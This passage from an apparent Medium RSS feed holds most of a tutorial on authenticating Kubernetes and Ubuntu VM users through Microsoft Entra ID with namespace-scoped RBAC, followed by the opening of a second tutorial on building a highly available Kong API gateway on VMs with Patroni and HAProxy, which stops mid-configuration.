you need a proxy to reach Entra:<br>    # env:<br>    # - name: HTTPS_PROXY<br>    #   value: http://proxy.internal.example:3128<br>    # - name: NO_PROXY<br>    #   value: localhost,127.0.0.1,.svc,.cluster.local,&lt;node CIDR&gt;,&lt;pod CIDR&gt;,&lt;service CIDR&gt;<br>    volumeMounts:<br>    # ... keep the existing mounts ...<br>    - name: auth-config<br>      mountPath: /etc/kubernetes/auth<br>      readOnly: true<br>  volumes:<br>  # ... keep the existing volumes ...<br>  - name: auth-config<br>    hostPath:<br>      path: /etc/kubernetes/auth<br>      type: DirectoryOrCreate</pre><p>If the manifest already has any --oidc- flags, remove them. The configuration file and the flags cannot be used together, and the API server refuses to start if both are present.</p><p>Save, then watch the API server come back:</p><pre>sudo crictl ps --name kube-apiserver --watch<br># or, in a second shell:<br>sudo crictl logs -f $(sudo crictl ps -q --name kube-apiserver)</pre><p>If the container keeps restarting, the log usually names the exact problem: a YAML typo, a wrong apiVersion for your Kubernetes version, or a missing mount. Restore the backup if you need to, fix the error, and try again. Only move to the next control-plane node when this one is healthy.</p><h3>3.4 Make it survive upgrades</h3><p>The next kubeadm upgrade regenerates the static pod manifests from the cluster configuration stored in the kubeadm-config ConfigMap, which would silently remove your edits. Put the same settings there:</p><pre>kubectl --kubeconfig /etc/kubernetes/admin.conf -n kube-system edit configmap kubeadm-config</pre><p>In the ClusterConfiguration (kubeadm API v1beta4, the default since Kubernetes 1.31), add:</p><pre>apiServer:<br>  extraArgs:<br>  - name: authentication-config<br>    value: /etc/kubernetes/auth/authentication-config.yaml<br>  extraVolumes:<br>  - name: auth-config<br>    hostPath: /etc/kubernetes/auth<br>    mountPath: /etc/kubernetes/auth<br>    readOnly: true<br>    pathType: DirectoryOrCreate<br>  # only if you use a proxy:<br>  # extraEnvs:<br>  # - name: HTTPS_PROXY<br>  #   value: http://proxy.internal.example:3128</pre><p>One bonus of the configuration file over the old flags: the API server watches the file and reloads it when it changes. Later changes, such as adding a second issuer, need no restart.</p><h3>3.5 Check the API server certificate</h3><p>Developers will reach the API server through the VPN using some name or IP, for example k8s-api.internal.example. That name must be in the API server certificate, or kubectl fails with an x509 error before authentication even starts. Check it:</p><pre>sudo openssl x509 -in /etc/kubernetes/pki/apiserver.crt -noout -ext subjectAltName</pre><p>If the name is missing, add it to apiServer.certSANs in the kubeadm configuration and regenerate the certificate. That is a separate procedure; plan a maintenance window for it.</p><h3>Step 4: Create the namespaces and bind the groups</h3><p>At this point the cluster can tell who someone is, but they can do nothing, because Kubernetes denies everything that no RBAC rule allows. Now we decide what each group may do, and where.</p><p>I keep everything for one team’s namespace in a single file, so the namespace, its limits and its access are reviewed together. Here is team-a-dev.yaml:</p><pre>apiVersion: v1<br>kind: Namespace<br>metadata:<br>  name: team-a-dev<br>  labels:<br>    pod-security.kubernetes.io/enforce: baseline<br>    pod-security.kubernetes.io/warn: restricted<br>---<br>apiVersion: v1<br>kind: ResourceQuota<br>metadata:<br>  name: team-a-dev-quota<br>  namespace: team-a-dev<br>spec:<br>  hard:<br>    requests.cpu: &quot;8&quot;<br>    requests.memory: 16Gi<br>    limits.cpu: &quot;16&quot;<br>    limits.memory: 32Gi<br>    pods: &quot;50&quot;<br>    services.loadbalancers: &quot;0&quot;<br>    services.nodeports: &quot;0&quot;<br>---<br>apiVersion: v1<br>kind: LimitRange<br>metadata:<br>  name: team-a-dev-defaults<br>  namespace: team-a-dev<br>spec:<br>  limits:<br>  - type: Container<br>    default:<br>      cpu: 500m<br>      memory: 512Mi<br>    defaultRequest:<br>      cpu: 100m<br>      memory: 128Mi<br>---<br>apiVersion: rbac.authorization.k8s.io/v1<br>kind: RoleBinding<br>metadata:<br>  name: entra-team-a-edit<br>  namespace: team-a-dev<br>subjects:<br>- kind: Group<br>  name: &quot;entra:&lt;GROUP_A_ID&gt;&quot;<br>  apiGroup: rbac.authorization.k8s.io<br>roleRef:<br>  kind: ClusterRole<br>  name: edit<br>  apiGroup: rbac.authorization.k8s.io<br>---<br>apiVersion: rbac.authorization.k8s.io/v1<br>kind: RoleBinding<br>metadata:<br>  name: entra-dev-readonly<br>  namespace: team-a-dev<br>subjects:<br>- kind: Group<br>  name: &quot;entra:&lt;GROUP_RO_ID&gt;&quot;<br>  apiGroup: rbac.authorization.k8s.io<br>roleRef:<br>  kind: ClusterRole<br>  name: view<br>  apiGroup: rbac.authorization.k8s.io</pre><p>Apply it with the admin kubeconfig, and repeat with a copy for team-b-dev and &lt;GROUP_B_ID&gt;:</p><pre>export KUBECONFIG=/etc/kubernetes/admin.conf<br>kubectl apply -f team-a-dev.yaml</pre><p>The choices behind this file:</p><ul><li>RoleBinding, not ClusterRoleBinding. This is the line that keeps developers inside their namespace. A RoleBinding grants the role only in its own namespace, even when the role it points to is a ClusterRole. A ClusterRoleBinding would grant it everywhere.</li><li><strong>The built-in </strong><strong>edit role.</strong> It lets developers create and change Deployments, Services, ConfigMaps, Secrets, Jobs and so on, read logs, and run kubectl exec and port-forward. It deliberately does not allow changing Roles or RoleBindings, so a developer cannot grant themselves or anyone else more access, and it cannot touch the ResourceQuota or LimitRange either.</li><li>view** for the read-only group.** It can see almost everything in the namespace, but not Secrets.</li><li><strong>The subject name is </strong><strong>entra: plus the group&#39;s object ID.</strong> The prefix must match the one in the authentication config exactly. A missing prefix is the most common reason a correct login still ends in &quot;forbidden&quot;.</li><li><strong>ResourceQuota and LimitRange</strong> are the “without letting them break things” part. RBAC controls what developers may do, and quotas control how much. Without them, one bad replicas: 200 in a dev namespace can starve the whole cluster. The LimitRange gives every container default requests and limits, so pods without resources still count against the quota properly. The numbers here are examples; size them for your nodes. Setting LoadBalancer and NodePort services to zero keeps developers from opening ports on the nodes.</li><li><strong>Pod Security labels</strong> stop privileged pods, host mounts and host networking in the namespace (baseline), and warn on anything that would fail the stricter restricted profile. Once your images are clean, move enforce to restricted.</li></ul><p>Developers will not be able to run kubectl get namespaces, because listing namespaces is a cluster-wide permission. That is fine: their kubeconfig sets the namespace for them (next step). If you want them to see the list anyway, bind a small ClusterRole that allows only get and list on namespaces.</p><h3>Step 5: Give developers a kubeconfig that logs in through Entra</h3><p>kubectl itself does not know how to open a browser and talk to Entra. It hands that job to an external credential plugin, configured in the kubeconfig. The plugin I use is <a href="https://github.com/int128/kubelogin">kubelogin by int128</a>, which kubectl calls as kubectl oidc-login.</p><h3>5.1 Install kubelogin</h3><pre># with krew (any OS)<br>kubectl krew install oidc-login</pre><pre># or with Homebrew (macOS / Linux)<br>brew install int128/kubelogin/kubelogin</pre><p>Or download the binary from the project’s GitHub releases and put it on the PATH as kubectl-oidc_login.</p><p>Watch out for the name clash. Microsoft also ships a tool called kubelogin (Azure/kubelogin), built for AKS. It is a different program with different flags. If a developer already has it installed for AKS work, kubelogin on the command line may be the wrong one. Because the kubeconfig below calls kubectl oidc-login, the right plugin is used either way.</p><h3>5.2 Test a login before writing the kubeconfig</h3><p>kubelogin has a setup mode that performs a real login and prints what is in the token. Run it once yourself:</p><pre>kubectl oidc-login setup \<br>  --oidc-issuer-url=https://login.microsoftonline.com/&lt;TENANT_ID&gt;/v2.0 \<br>  --oidc-client-id=&lt;CLIENT_ID&gt; \<br>  --oidc-extra-scope=profile \<br>  --oidc-extra-scope=email</pre><p>The browser opens on the Microsoft sign-in page. After you sign in, the terminal prints the token’s claims. Check three things:</p><ul><li>iss is exactly https://login.microsoftonline.com/&lt;TENANT_ID&gt;/v2.0</li><li>aud is your &lt;CLIENT_ID&gt;</li><li>groups contains the object ID of a group you are a member of</li></ul><p>If all three are right, the rest will work. The profile scope is what makes Entra include preferred_username in the token; with only the default openid scope, the username mapping has nothing to read.</p><h3>5.3 The kubeconfig</h3><p>Get the cluster’s CA certificate, so kubectl can trust the API server:</p><pre>kubectl --kubeconfig /etc/kubernetes/admin.conf config view --raw \<br>  -o jsonpath=&#39;{.clusters[0].cluster.certificate-authority-data}&#39;</pre><p>Then write one kubeconfig per team. This is the one for team A:</p><pre>apiVersion: v1<br>kind: Config<br>clusters:<br>- name: onprem-dev<br>  cluster:<br>    server: https://k8s-api.internal.example:6443<br>    certificate-authority-data: &lt;BASE64_CA_FROM_ABOVE&gt;<br>users:<br>- name: entra<br>  user:<br>    exec:<br>      apiVersion: client.authentication.k8s.io/v1<br>      command: kubectl<br>      args:<br>      - oidc-login<br>      - get-token<br>      - --oidc-issuer-url=https://login.microsoftonline.com/&lt;TENANT_ID&gt;/v2.0<br>      - --oidc-client-id=&lt;CLIENT_ID&gt;<br>      - --oidc-extra-scope=profile<br>      - --oidc-extra-scope=email<br>      - --token-cache-storage=keyring<br>      interactiveMode: Never<br>contexts:<br>- name: team-a-dev<br>  context:<br>    cluster: onprem-dev<br>    user: entra<br>    namespace: team-a-dev<br>current-context: team-a-dev</pre><p>What matters in it:</p><ul><li><strong>There is no secret anywhere in this file.</strong> The CA certificate is public, and so are the tenant and client IDs. You can put it in a wiki or a Git repository, and a leaked copy gives nobody access without a valid Entra login.</li><li>exec tells kubectl to run kubectl oidc-login get-token whenever it needs credentials. kubelogin returns a cached token if it is still valid, refreshes it if it can, and opens the browser only when it has to.</li><li>--token-cache-storage=keyring keeps the cached tokens in the operating system&#39;s keychain instead of a plain file in the home directory.</li><li>interactiveMode: Never tells kubectl that the plugin does not need the terminal&#39;s input. The sign-in happens in the browser.</li><li>namespace: team-a-dev in the context means developers do not have to type -n team-a-dev on every command, and they will not try to list namespaces they cannot see.</li><li>server is the private name of the API server, reached over the VPN. It must match a name in the API server certificate (see 3.5).</li></ul><p>For a jump box or any machine without a browser, add --grant-type=device-code to the args. kubelogin then prints a short code and a URL; the developer opens the URL on their laptop or phone, enters the code, and signs in there.</p><h3>Step 6: Prove it works, and prove it is contained</h3><p>Testing that a developer can get in is only half the job. The other half is proving what they cannot do.</p><h3>6.1 As the administrator, before any developer logs in</h3><p>Kubernetes can impersonate a user, so you can check the RBAC rules without any token at all:</p><pre>export KUBECONFIG=/etc/kubernetes/admin.conf<br>U=entra:dev1@example.com<br>G=entra:&lt;GROUP_A_ID&gt;</pre><pre>kubectl auth can-i create deployments -n team-a-dev --as=$U --as-group=$G   # yes<br>kubectl auth can-i get secrets        -n team-a-dev --as=$U --as-group=$G   # yes<br>kubectl auth can-i create rolebindings -n team-a-dev --as=$U --as-group=$G  # no<br>kubectl auth can-i get pods           -n team-b-dev --as=$U --as-group=$G   # no<br>kubectl auth can-i get pods           -n kube-system --as=$U --as-group=$G  # no<br>kubectl auth can-i list nodes         --as=$U --as-group=$G                 # no</pre><pre># everything the group may do in its namespace:<br>kubectl auth can-i --list -n team-a-dev --as=$U --as-group=$G</pre><h3>6.2 As a developer</h3><p>With the team kubeconfig from Step 5:</p><pre>export KUBECONFIG=~/.kube/team-a-dev.yaml</pre><pre>kubectl auth whoami</pre><p>The first command opens the browser for the Entra sign-in. Then kubectl auth whoami shows how the API server sees you: a username like entra:dev1@example.com, and groups including entra:&lt;GROUP_A_ID&gt; and system:authenticated. If you see that, authentication works end to end.</p><p>Then try the real work, and the things that should fail:</p><pre>kubectl create deployment hello --image=nginx    # created<br>kubectl get pods                                 # lists the hello pod<br>kubectl get pods -n kube-system                  # Error from server (Forbidden)<br>kubectl delete resourcequota team-a-dev-quota    # Error from server (Forbidden)<br>kubectl delete deployment hello                  # clean up</pre><p>The Forbidden errors are the success criteria here. They show that the developer is authenticated, so Entra worked, but RBAC keeps them inside their own namespace.</p><h3>6.3 Check the audit trail</h3><p>If audit logging is enabled on the API server, every request now carries the developer’s real identity. A request from a developer shows &quot;username&quot;: &quot;entra:dev1@example.com&quot; with their groups and their Entra object ID, instead of kubernetes-admin. That one line is what makes the auditors&#39; question &quot;who changed this?&quot; answerable.</p><p>If audit logging is not enabled yet, turn it on. It is a separate piece of work, but this setup is only half as useful without it.</p><h3>Step 7: The same identity on the Ubuntu VMs</h3><p>The developers also need SSH access to a few Ubuntu VMs, and I wanted the same rule there: they log in as dev1@example.com, not as a Linux user someone created for them. The tool for this is <a href="https://github.com/canonical/authd">authd</a>, Canonical&#39;s free authentication daemon, with its Microsoft Entra ID broker. The domain controllers stay out of this path too.</p><p>One thing to understand before you start, because it is not the classic “type your domain password into SSH”. Entra with MFA does not let a server check a password directly, so the first login on each VM works like this:</p><ol><li>The developer runs SSH with their Entra username.</li><li>SSH shows a short code and a URL. They open the URL in a browser, enter the code, and sign in with their Entra password and MFA.</li><li>authd creates their Linux account on the fly and asks them to set a local password for that machine.</li></ol><p>From then on they log in with their domain username and that local password. When the VM can reach Entra, authd checks the account on each login, so disabling a user in Entra blocks them. If the VM is offline, the cached local password still works, which is a deliberate trade-off.</p><h3>7.1 A second app registration</h3><p>Create a separate app registration for the VMs, for example ubuntu-authd. I keep it apart from the Kubernetes one because it needs a different redirect URI and different permissions, and it can get its own Conditional Access policy.</p><ul><li><strong>Supported account types:</strong> this directory only.</li><li><strong>Redirect URI:</strong> platform <em>Mobile and desktop applications</em>, value <a href="https://login.microsoftonline.com/common/oauth2/nativeclient.">https://login.microsoftonline.com/common/oauth2/nativeclient.</a></li><li><strong>Authentication:</strong> set <strong>Allow public client flows</strong> to <strong>Yes</strong>. The device code login in the steps above depends on it.</li><li><strong>API permissions:</strong> Microsoft Graph delegated permissions as listed in the authd documentation. User.Read is the minimum; reading the user&#39;s groups needs GroupMember.Read.All, which needs admin consent.</li></ul><p>Copy the client ID. The tenant ID is the same as before.</p><p>7.2 Install authd and the broker on each VM</p><p>On Ubuntu 24.04, authd comes from Canonical’s PPA. On 26.04 it is in the standard archive, so you can skip the first line. The broker ships as a snap:</p><pre>sudo add-apt-repository ppa:ubuntu-enterprise-desktop/authd<br>sudo apt update &amp;&amp; sudo apt install -y authd<br>sudo snap install authd-msentraid</pre><pre># tell authd that the Entra broker exists<br>sudo mkdir -p /etc/authd/brokers.d<br>sudo cp /snap/authd-msentraid/current/conf/authd/msentraid.conf /etc/authd/brokers.d/</pre><p>authd is the part that plugs into Linux login (PAM and the user database). The broker is the part that talks to Entra. They are separate so other identity providers can be plugged in the same way.</p><h3>7.3 Configure the broker</h3><p>Edit /var/snap/authd-msentraid/current/broker.conf:</p><pre>[oidc]<br>issuer = https://login.microsoftonline.com/&lt;TENANT_ID&gt;/v2.0<br>client_id = &lt;AUTHD_CLIENT_ID&gt;</pre><pre>[users]<br># who may log in at all<br>allowed_users = ALL<br># which Entra usernames may create an account on first SSH login<br>ssh_allowed_suffixes = @example.com</pre><ul><li>issuer is the same v2.0 issuer as the cluster, so the same /v2.0 rule applies.</li><li>ssh_allowed_suffixes limits first-time SSH logins to your own domain. Without it, nobody can create an account over SSH.</li><li>allowed_users matters more than it looks. The default allows only the machine&#39;s &quot;owner&quot;, which is the first person who logs in. On a shared VM that means the second developer is locked out. ALL lets any user from your tenant in, which is fine when the app registration itself is restricted: set <strong>Assignment required</strong> to <strong>Yes</strong> on its Enterprise application and assign only the developer groups. The file&#39;s own comments list the other options, including how the owner is chosen and which extra local groups the owner gets. Read them before the first login.</li></ul><h3>7.4 Let SSH use authd</h3><p>SSH has to hand the login to PAM and allow the interactive prompt that shows the device code:</p><pre>printf &#39;UsePAM yes\nKbdInteractiveAuthentication yes\n&#39; \<br>  | sudo tee /etc/ssh/sshd_config.d/authd.conf<br>sudo snap restart authd-msentraid<br>sudo systemctl restart ssh</pre><p>Keep your existing admin login, a local user with an SSH key, as break-glass. authd adds Entra users; it does not remove local ones.</p><p>The VM needs the same kind of single door out as the cluster: outbound HTTPS to login.microsoftonline.com, plus graph.microsoft.com for group lookups.</p><h3>7.5 Log in and decide who gets sudo</h3><p>The username contains an @, so pass it with -l to keep SSH from getting confused:</p><pre>ssh -l dev1@example.com vm-01.internal.example</pre><p><strong>[ IMAGE: the SSH prompt showing the device code, then the Microsoft sign-in page. ]</strong></p><p>Once logged in, check what Linux sees:</p><pre>id dev1@example.com</pre><p>You should see a normal Linux user ID and, if the Graph permission is granted, the user’s Entra groups as local groups. Do not give sudo to everyone who can log in. Create an Entra group for VM administrators, check with id how its name appears on the machine, and grant sudo to that group only:</p><pre># replace with the group name exactly as `id` shows it<br>echo &#39;%vm-admins ALL=(ALL) ALL&#39; | sudo tee /etc/sudoers.d/entra-vm-admins<br>sudo chmod 440 /etc/sudoers.d/entra-vm-admins<br>sudo visudo -c</pre><p>visudo -c checks the syntax. A broken sudoers file can lock everyone out of sudo, so never skip it.</p><p>For more than a handful of VMs, put 7.2 to 7.4 in your configuration management or in cloud-init, so every new VM comes up ready.</p><h3>When it does not work</h3><p>Almost every failure in this setup falls into one of two buckets. A <strong>401 Unauthorized</strong> means the API server did not accept the token, so look at authentication (Steps 1, 3 and 5). A <strong>403 Forbidden</strong> means the token was accepted but RBAC said no, so look at the groups and RoleBindings (Steps 2 and 4).</p><p>Two tools help with nearly everything below.</p><p><strong>The API server log</strong> says why a token was rejected:</p><pre>sudo crictl logs $(sudo crictl ps -q --name kube-apiserver) 2&gt;&amp;1 \<br>  | grep -iE &#39;jwt|oidc|authenticat&#39; | tail -20</pre><p><strong>The token itself</strong> shows what Entra actually sent. Decode it locally rather than pasting it into a website, because it is a live credential until it expires:</p><pre>TOKEN=$(kubectl oidc-login get-token \<br>  --oidc-issuer-url=https://login.microsoftonline.com/&lt;TENANT_ID&gt;/v2.0 \<br>  --oidc-client-id=&lt;CLIENT_ID&gt; --oidc-extra-scope=profile | jq -r .status.token)</pre><pre>python3 - &quot;$TOKEN&quot; &lt;&lt;&#39;PY&#39;<br>import sys, base64, json<br>payload = sys.argv[1].split(&quot;.&quot;)[1]<br>payload += &quot;=&quot; * (-len(payload) % 4)<br>print(json.dumps(json.loads(base64.urlsafe_b64decode(payload)), indent=2))<br>PY</pre><h3>The browser shows an AADSTS error</h3><ul><li><strong>AADSTS50011, redirect URI mismatch.</strong> The redirect URI in the app registration does not match what kubelogin used. Check that http://localhost:8000 and http://localhost:18000 are registered under the <em>Mobile and desktop applications</em> platform, not under <em>Web</em>.</li><li><strong>AADSTS7000218, the request must contain a client secret.</strong> Allow public client flows is still set to No (see 1.2).</li></ul><h3>401 Unauthorized</h3><ul><li><strong>Issuer mismatch.</strong> The iss in the decoded token must equal issuer.url in the configuration exactly. If the token says https://sts.windows.net/..., it is a v1 token. Make sure the /v2.0 is in the issuer URL used by kubelogin.</li><li><strong>Audience mismatch.</strong> The aud must equal &lt;CLIENT_ID&gt;. A copy-paste of the object ID instead of the client ID is an easy mistake, because both are GUIDs on the same Overview page.</li><li><strong>The API server cannot reach Entra.</strong> The log shows errors fetching the discovery document or the keys. Run the curl test from 3.1 on every control-plane node, through the proxy if you use one. A firewall rule applied to only one of three control-plane nodes produces intermittent 401s, depending on which API server the load balancer sends you to.</li><li><strong>Clock skew.</strong> Tokens have issue and expiry times. If a control-plane node’s clock is off by a few minutes, valid tokens look expired or not yet valid. Check that NTP is running on the nodes.</li></ul><h3>x509: certificate is valid for …, not k8s-api.internal.example</h3><p>This is not an Entra problem at all. kubectl does not trust the API server’s certificate for the name in the kubeconfig (see 3.5).</p><h3>403 Forbidden, although the login worked</h3><p>Run kubectl auth whoami and compare it with the RoleBinding.</p><ul><li><strong>No groups in the output.</strong> The groups claim is not configured (see 1.3), or the user is over the 200-group limit (see 1.4). In the decoded token, a _claim_names field instead of groups means overage.</li><li><strong>Groups are there but do not match.</strong> The subject in the RoleBinding must be entra: plus the object ID, exactly. Check for a missing prefix, a group name instead of its ID, or the ID of the wrong group.</li><li><strong>The user was just added to the group.</strong> The cached token still carries the old group list. Entra ID tokens are typically valid for about an hour. Clear the cache to get a fresh one immediately:</li></ul><pre>kubectl oidc-login clean</pre><h3>kubectl says it cannot find oidc-login</h3><p>The plugin is not on the PATH, or the wrong kubelogin is installed (see 5.1). kubectl plugin list shows which plugins kubectl can see.</p><h3>Before you call it done</h3><p>The access works at this point. These are the things I would still do before letting a whole team rely on it.</p><ul><li><strong>Retire the admin kubeconfig from daily use.</strong> admin.conf (and, since Kubernetes 1.29, super-admin.conf) are now break-glass only. Keep them on the control-plane nodes and in a vault, and nowhere else. Cluster administrators get their own Entra group, bound to cluster-admin with a ClusterRoleBinding, so even admin actions are tied to a person. Be honest with yourself about old copies on laptops: a client certificate cannot be revoked, so a copy stays valid until its certificate expires (one year by default). Find them and delete them.</li><li><strong>Put a Conditional Access policy on the app.</strong> With Entra ID P1, target the k8s-onprem-dev app and require MFA, and a compliant device if you manage laptops. Cluster access then follows the same rules as everything else in the company, without any change on the cluster.</li><li><strong>Know what offboarding really does.</strong> Disabling a user in Entra stops any new token from being issued. A token already issued stays valid until it expires, typically within the hour. For most dev clusters that window is acceptable; for production access it is a reason to keep token lifetimes short and to remove the user from the groups as well.</li><li><strong>Keep the namespace file in Git.</strong> The team YAML from Step 4 is the full definition of who can do what in that namespace. Reviewing changes to it through pull requests gives you an access review for free.</li><li><strong>Use service accounts for pipelines, not people.</strong> Everything in this post is for humans at a keyboard. CI/CD should use its own Kubernetes service account with its own narrow role, never a developer’s Entra login.</li></ul><h3>Where the domain controllers fit</h3><p>Nowhere, for this use case, and that is the point. Kubernetes does not need LDAP when the identity provider speaks OIDC. If you later sync the on-prem AD into Entra with Entra Connect, nothing in this setup changes: synced users get Entra tokens like everyone else. And if you have a fully air-gapped cluster that can never reach Entra, a broker such as Dex or Pinniped in front of AD is the right tool for that one case.</p><p>For everyone else: let Entra answer “who are you”, let RBAC answer “what may you do here”, and keep a single identity per person.</p><h3>Further reading</h3><ul><li><a href="https://kubernetes.io/docs/reference/access-authn-authz/authentication/">Kubernetes documentation: Authenticating, including the structured authentication configuration</a></li><li><a href="https://www.kubernetes.dev/resources/keps/3331/">KEP-3331: Structured authentication config</a></li><li><a href="https://github.com/int128/kubelogin/blob/master/docs/setup.md">kubelogin setup guide</a></li><li><a href="https://kubernetes.io/docs/reference/access-authn-authz/rbac/">Kubernetes documentation: Using RBAC authorization</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99f3ca91e5bd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to deploy Highly Available Kong API Gateway ?]]></title>
            <link>https://medium.com/@kmoussa/how-to-deploy-highly-available-kong-api-gateway-9f4c5b9f93c4?source=rss-5266ae0c4640------2</link>
            <guid isPermaLink="false">https://medium.com/p/9f4c5b9f93c4</guid>
            <category><![CDATA[kong]]></category>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[cloud-native]]></category>
            <category><![CDATA[vm]]></category>
            <category><![CDATA[api-gateway]]></category>
            <dc:creator><![CDATA[Karim Moussa]]></dc:creator>
            <pubDate>Wed, 14 Oct 2026 11:55:46 GMT</pubDate>
            <atom:updated>2026-10-14T11:55:46.144Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a5EVy0UXbYy3VD3RwwFJ-g.png" /></figure><h3>Kong API Gateway, highly available, on plain VMs</h3><p>Most of what’s written about Kong these days assumes Kubernetes. That’s fine if you have one. A lot of gateways don’t sit on a cluster: they front an estate of VMs, they live in a DMZ that the platform team doesn’t control, or they were there before Kubernetes was and nobody is going to move them during a compliance audit. This is how I’d build Kong on VMs today so that no single machine, and no single service, can take the gateway down.</p><p>“Highly available” for a gateway means four separate things have to survive losing a node: the proxies, the configuration store behind them, the shared state some plugins need, and the IP address clients connect to. Each gets its own section. The design assumes six to nine small VMs across two or three failure domains (racks, hosts, zones, whatever you have), which sounds like a lot until you list what they’re for.</p><h3>The shape</h3><p>Kong has three ways to hold its configuration, and on VMs the choice matters more than it does on Kubernetes because there’s no ingress controller to hide it.</p><p><strong>Traditional</strong> mode has every Kong node talking to PostgreSQL. Config changes are writes to the database; every node caches what it reads. Simple, and it means Postgres is on the request path in a way people underestimate: a node that restarts while the database is down doesn’t start.</p><p><strong>DB-less</strong> mode loads config from a YAML file on each node. No database at all. It’s the right choice for a small, rarely changing gateway, but you’re now responsible for getting the same file onto every node at the same time, and every change is a reload.</p><p><strong>Hybrid</strong> mode is what I build for anything serious. A control plane (two nodes, sharing a Postgres cluster) owns the configuration and exposes the admin API. Data planes (three or more) have no database; they connect to the control plane over mTLS, receive config pushes, and keep serving from memory if the control plane disappears. The database is off the request path entirely. Hybrid has been in open-source Kong since 2.0, so this isn’t an enterprise feature.</p><p>So the VM list is:</p><ul><li><strong>3 × PostgreSQL</strong> nodes running Patroni, with etcd for consensus. This is the control plane’s database.</li><li><strong>2 × Kong control plane</strong> nodes. Admin API, config store client, push server for the data planes.</li><li><strong>3 × Kong data plane</strong> nodes. The proxies. These are the only machines that see client traffic.</li><li><strong>2 × load balancer</strong> nodes running HAProxy with keepalived, holding the virtual IP that DNS points at.</li><li><strong>3 × Redis</strong> with Sentinel, only if you use rate limiting or any other plugin that needs shared counters. Often these share the Postgres VMs; Redis is small.</li></ul><p>Spread each group across your failure domains. Three data planes in one rack is one data plane.</p><p>Everything below is Ubuntu 24.04 with Kong 3.x from the official apt repository. Adapt the package commands for your distribution; the config is the same.</p><h3>The database</h3><p>Postgres is the one stateful thing in the design, and it needs real failover, not a replica someone promotes by hand at 3 a.m. Patroni does this: it runs Postgres under its supervision, uses etcd to hold a leader lock, and promotes a replica automatically when the leader stops renewing it.</p><p>On each of the three database nodes, etcd first (a three-node etcd cluster on the same machines is fine at this scale), then Postgres and Patroni:</p><pre>apt-get install -y postgresql-16 etcd-server python3-pip<br>pip3 install patroni[etcd3] psycopg2-binary --break-system-packages<br>systemctl disable --now postgresql   # Patroni manages it from here</pre><p>/etc/patroni.yml on the first node (change name, connect_address fields per node):</p><pre>scope: kong<br>name: pg-1</pre><pre>restapi:<br>  listen: 0.0.0.0:8008<br>  connect_address: 10.0.1.11:8008</pre><pre>etcd3:<br>  hosts: 10.0.1.11:2379,10.0.1.12:2379,10.0.1.13:2379</pre><pre>bootstrap:<br>  dcs:<br>    ttl: 30<br>    loop_wait: 10<br>    retry_timeout: 10<br>    maximum_lag_on_failover: 1048576<br>    synchronous_mode: true<br>    postgresql:<br>      use_pg_rewind: true<br>      parameters:<br>        max_connections: 200<br>        wal_level: replica<br>        hot_standby: &quot;on&quot;<br>        synchronous_commit: &quot;on&quot;<br>  initdb:<br>    - encoding: UTF8<br>    - data-checksums<br>  pg_hba:<br>    - host replication replicator 10.0.1.0/24 scram-sha-256<br>    - host all all 10.0.1.0/24 scram-sha-256</pre><pre>postgresql:<br>  listen: 0.0.0.0:5432<br>  connect_address: 10.0.1.11:5432<br>  data_dir: /var/lib/postgresql/16/main<br>  bin_dir: /usr/lib/postgresql/16/bin<br>  authentication:<br>    replication: { username: replicator, password: &quot;change-me&quot; }<br>    superuser:   { username: postgres,   password: &quot;change-me&quot; }</pre><p>synchronous_mode: true means a commit isn&#39;t acknowledged until at least one replica has it, so a failover never loses a config change. The cost is a little write latency on the admin API, which nobody will notice.</p><p>Start Patroni on all three and check:</p><pre>systemctl enable --now patroni<br>patronictl -c /etc/patroni.yml list<br># +--------+-----------+---------+-----------+----+-----------+<br># | Member | Host      | Role    | State     | TL | Lag in MB |<br># | pg-1   | 10.0.1.11 | Leader  | running   |  1 |           |<br># | pg-2   | 10.0.1.12 | Sync Standby | streaming |  1 |    0 |<br># | pg-3   | 10.0.1.13 | Replica | streaming |  1 |         0 |</pre><p>Kong needs to reach whichever node is currently the leader. The clean way is HAProxy on the load balancer nodes, health-checking Patroni’s REST API, which returns 200 only on the leader:</p><pre># /etc/haproxy/haproxy.cfg on both LB nodes, Postgres section<br>listen postgres-primary<br>    bind 10.0.1.10:5432<br>    mode tcp<br>    option httpchk GET /primary<br>    http-check expect status 200<br>    default-server inter 3s fall 3 rise 2 on-marked-down shutdown-sessions<br>    server pg-1 10.0.1.11:5432 check port 8008<br>    server pg-2 10.0.1.12:5432 check port 8008<br>    server pg-3 10.0.1.13:5432 check port 8008</pre><p>on-marked-down shutdown-sessions is the line that matters: when the leader changes, HAProxy kills the existing connections to the old one so Kong reconnects to the new leader instead of sitting on a dead socket.</p><p>Create the Kong database and user on the leader:</p><pre>psql -h 10.0.1.10 -U postgres -c &quot;CREATE USER kong WITH PASSWORD &#39;change-me&#39;;&quot;<br>psql -h 10.0.1.10 -U postgres -c &quot;CREATE DATABASE kong OWNER kong;&quot;</pre><p>Backups are still your job. Patroni protects against a node dying, not against DELETE FROM routes. pgBackRest or a nightly pg_dump shipped off the box, and a restore you&#39;ve actually tested.</p><h3>The control plane</h3><p>Two nodes. They’re identical, share the database, and both accept admin API calls and data plane connections. Only one is needed for the gateway to work; two is so you can patch one.</p><p>Install Kong:</p><pre>curl -1sLf &quot;https://packages.konghq.com/public/gateway-3x/gpg.XXXX.key&quot; | gpg --dearmor -o /usr/share/keyrings/kong.gpg<br>echo &quot;deb [signed-by=/usr/share/keyrings/kong.gpg] https://packages.konghq.com/public/gateway-3x/deb/ubuntu noble main&quot; \<br>  &gt; /etc/apt/sources.list.d/kong.list<br>apt-get update &amp;&amp; apt-get install -y kong</pre><p>(The key URL has a hash in it that changes; copy it from Kong’s install page for your version.)</p><p>Generate the cluster certificate once and copy it to every control plane and data plane node. This is what the mTLS between them is based on:</p><pre>kong hybrid gen_cert /etc/kong/cluster.crt /etc/kong/cluster.key<br>chown kong:kong /etc/kong/cluster.*<br>chmod 600 /etc/kong/cluster.key</pre><p>/etc/kong/kong.conf on both control plane nodes:</p><pre>role = control_plane<br>cluster_cert = /etc/kong/cluster.crt<br>cluster_cert_key = /etc/kong/cluster.key<br>cluster_listen = 0.0.0.0:8005<br>cluster_telemetry_listen = 0.0.0.0:8006</pre><pre>database = postgres<br>pg_host = 10.0.1.10          # the HAProxy VIP for the Postgres leader<br>pg_port = 5432<br>pg_user = 